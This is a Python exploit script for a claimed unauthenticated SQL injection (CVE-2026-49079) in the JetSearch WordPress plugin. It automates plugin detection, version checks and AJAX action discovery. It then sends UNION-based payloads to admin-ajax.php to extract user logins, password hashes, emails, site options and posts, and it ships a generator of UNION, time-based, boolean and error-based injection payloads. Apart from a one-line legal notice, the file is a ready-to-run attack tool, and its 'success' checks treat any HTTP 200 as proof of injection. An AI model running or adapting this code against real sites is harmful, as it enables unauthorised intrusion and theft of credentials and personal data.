#!/usr/bin/env python3 """ CVE-2026-49079 JetSearch SQL Injection Exploit CVSS: 7.5 (High) Unauthenticated SQL injection in JetSearch plugin for WordPress versions up to and including 3.5.17. The plugin fails to properly escape user-supplied parameters in AJAX handlers, allowing attackers to extract sensitive database information without authentication. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json import urllib.parse from urllib.parse import urljoin, quote from bs4 import BeautifulSoup class JetSearchSQLiExploit: def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.plugin_detected = False self.vulnerable_version = False self.ajax_actions = [] def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def detect_plugin(self): """Detect if JetSearch plugin is installed""" self.log("Detecting JetSearch plugin...") try: # Check common plugin paths plugin_paths = [ '/wp-content/plugins/jetsearch/', '/wp-content/plugins/jet-search/', '/wp-content/plugins/jetpack-search/', '/wp-content/plugins/search-jetsearch/' ] for path in plugin_paths: url = urljoin(self.target_url, path + 'jetsearch.php') resp = self.session.head(url, timeout=10) if resp.status_code == 200: self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True # Try to detect via readme.txt for path in plugin_paths: url = urljoin(self.target_url, path + 'readme.txt') resp = self.session.get(url, timeout=10) if resp.status_code == 200 and 'jetsearch' in resp.text.lower(): self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True self.log("Plugin not detected via direct paths", "ERROR") return False except Exception as e: self.log(f"Error detecting plugin: {e}") return False def check_vulnerability(self): """Check if target is vulnerable""" self.log("Checking vulnerability status...") try: # Try to access the plugin's main file plugin_file = urljoin(self.target_url, '/wp-content/plugins/jetsearch/jetsearch.php') resp = self.session.get(plugin_file, timeout=10) if resp.status_code == 200: # Check version version_match = re.search(r'Version:\s*([0-9.]+)', resp.text) if version_match: version = version_match.group(1) self.log(f"Plugin version: {version}", "INFO") # Check if vulnerable (<=3.5.17) version_parts = version.split('.') if len(version_parts) >= 3: try: major = int(version_parts[0]) minor = int(version_parts[1]) patch = int(version_parts[2]) if major < 3 or (major == 3 and minor < 5) or (major == 3 and minor == 5 and patch <= 17): self.log(f"Version {version} is VULNERABLE!", "CRITICAL") self.vulnerable_version = True return True else: self.log(f"Version {version} appears patched", "ERROR") return False except ValueError: pass self.log("Could not determine vulnerability status", "ERROR") return False except Exception as e: self.log(f"Error checking vulnerability: {e}") return False def find_ajax_actions(self): """Find AJAX action names used by the plugin""" self.log("Searching for AJAX actions...") try: # Get homepage to find AJAX actions resp = self.session.get(self.target_url, timeout=10) # Look for action patterns action_patterns = [ r'action["\']?\s*[=:]\s*["\']([a-z_]*jet[a-z_]*search[a-z_]*)["\']', r'jet_ajax_search', r'jet_search', r'jetsearch_ajax' ] actions = [] for pattern in action_patterns: matches = re.findall(pattern, resp.text, re.IGNORECASE) actions.extend(matches) if actions: self.ajax_actions = list(set(actions)) self.log(f"Found {len(self.ajax_actions)} AJAX actions", "SUCCESS") return self.ajax_actions # Default actions to try default_actions = [ 'jet_ajax_search', 'jet_search_ajax', 'jetsearch_ajax', 'jetsearch_search', 'jet_search' ] self.ajax_actions = default_actions self.log(f"Using default AJAX actions", "INFO") return default_actions except Exception as e: self.log(f"Error finding AJAX actions: {e}") return [] def test_basic_injection(self, action): """Test if basic SQL injection is possible""" self.log(f"Testing basic SQL injection with action: {action}...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Test payload test_payload = "1' OR '1'='1" data = { 'action': action, 'search_term': test_payload, 's': test_payload } resp = self.session.post(ajax_url, data=data, timeout=15) self.log(f"Response Status: {resp.status_code}", "INFO") if resp.status_code == 200: self.log("Basic injection test successful!", "SUCCESS") return True else: self.log("Basic injection test failed", "ERROR") return False except Exception as e: self.log(f"Error testing basic injection: {e}", "ERROR") return False def extract_database_info(self, action): """Extract database information via UNION-based SQL injection""" self.log("Attempting to extract database information...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Payload to extract database version payload = "1' UNION SELECT @@version,user(),database(),4,5 -- " data = { 'action': action, 'search_term': payload } resp = self.session.post(ajax_url, data=data, timeout=15) if resp.status_code == 200: self.log("Database info extraction successful!", "SUCCESS") self.log(f"Response: {resp.text[:500]}", "INFO") return resp.text else: self.log("Database info extraction failed", "ERROR") return None except Exception as e: self.log(f"Error extracting database info: {e}", "ERROR") return None def extract_wordpress_users(self, action): """Extract WordPress user credentials""" self.log("Attempting to extract WordPress users...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Payload to extract user credentials payload = "1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- " data = { 'action': action, 'search_term': payload } resp = self.session.post(ajax_url, data=data, timeout=15) if resp.status_code == 200: self.log("User extraction successful!", "SUCCESS") self.log(f"Response: {resp.text[:500]}", "INFO") return resp.text else: self.log("User extraction failed", "ERROR") return None except Exception as e: self.log(f"Error extracting users: {e}", "ERROR") return None def extract_wordpress_options(self, action): """Extract WordPress options (site URL, admin email, etc.)""" self.log("Attempting to extract WordPress options...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Payload to extract WordPress options payload = "1' UNION SELECT option_name,option_value,3,4,5 FROM wp_options LIMIT 10 -- " data = { 'action': action, 'search_term': payload } resp = self.session.post(ajax_url, data=data, timeout=15) if resp.status_code == 200: self.log("Options extraction successful!", "SUCCESS") self.log(f"Response: {resp.text[:500]}", "INFO") return resp.text else: self.log("Options extraction failed", "ERROR") return None except Exception as e: self.log(f"Error extracting options: {e}", "ERROR") return None def extract_posts(self, action): """Extract WordPress posts and pages""" self.log("Attempting to extract WordPress posts...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Payload to extract posts payload = "1' UNION SELECT post_title,post_content,post_author,post_type,ID FROM wp_posts LIMIT 10 -- " data = { 'action': action, 'search_term': payload } resp = self.session.post(ajax_url, data=data, timeout=15) if resp.status_code == 200: self.log("Posts extraction successful!", "SUCCESS") self.log(f"Response: {resp.text[:500]}", "INFO") return resp.text else: self.log("Posts extraction failed", "ERROR") return None except Exception as e: self.log(f"Error extracting posts: {e}", "ERROR") return None def exploit(self): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-49079 JetSearch SQL Injection") print("="*70 + "\n") # Step 1: Detect plugin if not self.detect_plugin(): self.log("Plugin not detected. Exploit may not be applicable.", "ERROR") return False # Step 2: Check vulnerability if not self.check_vulnerability(): self.log("Target does not appear to be vulnerable", "ERROR") return False # Step 3: Find AJAX actions actions = self.find_ajax_actions() if not actions: self.log("Could not find AJAX actions", "ERROR") return False # Step 4: Test basic injection success = False vulnerable_action = None for action in actions: if self.test_basic_injection(action): success = True vulnerable_action = action break if not success: self.log("SQL injection test failed for all actions", "ERROR") return False # Step 5: Extract sensitive data print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Plugin: JetSearch") print(f"Vulnerable Action: {vulnerable_action}") print(f"\nExtracting sensitive data...\n") # Extract database info db_info = self.extract_database_info(vulnerable_action) # Extract users users = self.extract_wordpress_users(vulnerable_action) # Extract options options = self.extract_wordpress_options(vulnerable_action) # Extract posts posts = self.extract_posts(vulnerable_action) print("="*70) print("EXPLOITATION COMPLETE") print("="*70 + "\n") return True class SQLiPayloadGenerator: """Generate various SQL injection payloads""" @staticmethod def union_based_payloads(): """Generate UNION-based SQL injection payloads""" payloads = [ "1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- ", "1' UNION SELECT option_name,option_value,3,4,5 FROM wp_options -- ", "1' UNION SELECT post_title,post_content,post_author,post_type,ID FROM wp_posts -- ", "1' UNION SELECT @@version,user(),database(),4,5 -- ", "1' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables -- ", "1' UNION SELECT column_name,2,3,4,5 FROM information_schema.columns WHERE table_name='wp_users' -- ", ] return payloads @staticmethod def time_based_payloads(): """Generate time-based blind SQL injection payloads""" payloads = [ "1' AND SLEEP(5) -- ", "1' AND IF(1=1,SLEEP(5),0) -- ", "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) -- ", "1' AND BENCHMARK(10000000,MD5('test')) -- ", ] return payloads @staticmethod def boolean_based_payloads(): """Generate boolean-based blind SQL injection payloads""" payloads = [ "1' AND '1'='1", "1' AND '1'='2", "1' OR '1'='1", "1' AND 1=1 -- ", "1' AND 1=2 -- ", ] return payloads @staticmethod def error_based_payloads(): """Generate error-based SQL injection payloads""" payloads = [ "1' AND extractvalue(1,concat(0x7e,(SELECT user()))) -- ", "1' AND updatexml(1,concat(0x7e,(SELECT user())),1) -- ", "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND()*2))x FROM information_schema.tables GROUP BY x)a) -- ", ] return payloads class AjaxActionScanner: """Scan for AJAX actions""" def __init__(self, target_url, session): self.target_url = target_url.rstrip('/') self.session = session def scan_all_pages(self): """Scan all accessible pages for AJAX actions""" actions = [] try: # Get homepage resp = self.session.get(self.target_url, timeout=10) # Extract all action parameters action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text) actions.extend(action_matches) # Look for AJAX endpoints ajax_matches = re.findall(r'wp-admin/admin-ajax\.php\?action=([a-z_]+)', resp.text) actions.extend(ajax_matches) except: pass return list(set(actions)) def test_action(self, action): """Test if an AJAX action is vulnerable to SQL injection""" try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') data = { 'action': action, 'search_term': "1' OR '1'='1", 's': "1' OR '1'='1" } resp = self.session.post(ajax_url, data=data, timeout=10) return resp.status_code == 200 except: return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-49079 JetSearch SQL Injection Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--detect', action='store_true', help='Detect plugin only') parser.add_argument('--check', action='store_true', help='Check vulnerability only') parser.add_argument('--find-actions', action='store_true', help='Find AJAX actions only') parser.add_argument('--scan-actions', action='store_true', help='Scan and test all AJAX actions') parser.add_argument('--payloads', action='store_true', help='Show available payloads') parser.add_argument('--union', action='store_true', help='Use UNION-based payloads') parser.add_argument('--time-based', action='store_true', help='Use time-based blind payloads') parser.add_argument('--boolean-based', action='store_true', help='Use boolean-based blind payloads') parser.add_argument('--error-based', action='store_true', help='Use error-based payloads') args = parser.parse_args() # Create exploit instance exploit = JetSearchSQLiExploit(args.target, verbose=args.verbose) # Detect only if args.detect: if exploit.detect_plugin(): print("[+] Plugin detected!") else: print("[-] Plugin not detected") sys.exit(0) # Check vulnerability if args.check: if exploit.check_vulnerability(): print("[+] Target is vulnerable!") else: print("[-] Target does not appear vulnerable") sys.exit(0) # Find actions if args.find_actions: actions = exploit.find_ajax_actions() print(f"\n[+] Found {len(actions)} AJAX actions:") for action in actions: print(f" - {action}") sys.exit(0) # Scan actions if args.scan_actions: scanner = AjaxActionScanner(args.target, exploit.session) actions = scanner.scan_all_pages() print(f"\n[+] Scanning {len(actions)} AJAX actions:") for action in actions: if scanner.test_action(action): print(f" ✓ {action} (vulnerable)") else: print(f" ✗ {action} (not vulnerable)") sys.exit(0) # Show payloads if args.payloads: print("\n[+] UNION-based payloads:") for payload in SQLiPayloadGenerator.union_based_payloads(): print(f" {payload}") print("\n[+] Time-based blind payloads:") for payload in SQLiPayloadGenerator.time_based_payloads(): print(f" {payload}") print("\n[+] Boolean-based blind payloads:") for payload in SQLiPayloadGenerator.boolean_based_payloads(): print(f" {payload}") print("\n[+] Error-based payloads:") for payload in SQLiPayloadGenerator.error_based_payloads(): print(f" {payload}") sys.exit(0) # Full exploit success = exploit.exploit() sys.exit(0 if success else 1) if __name__ == '__main__': main()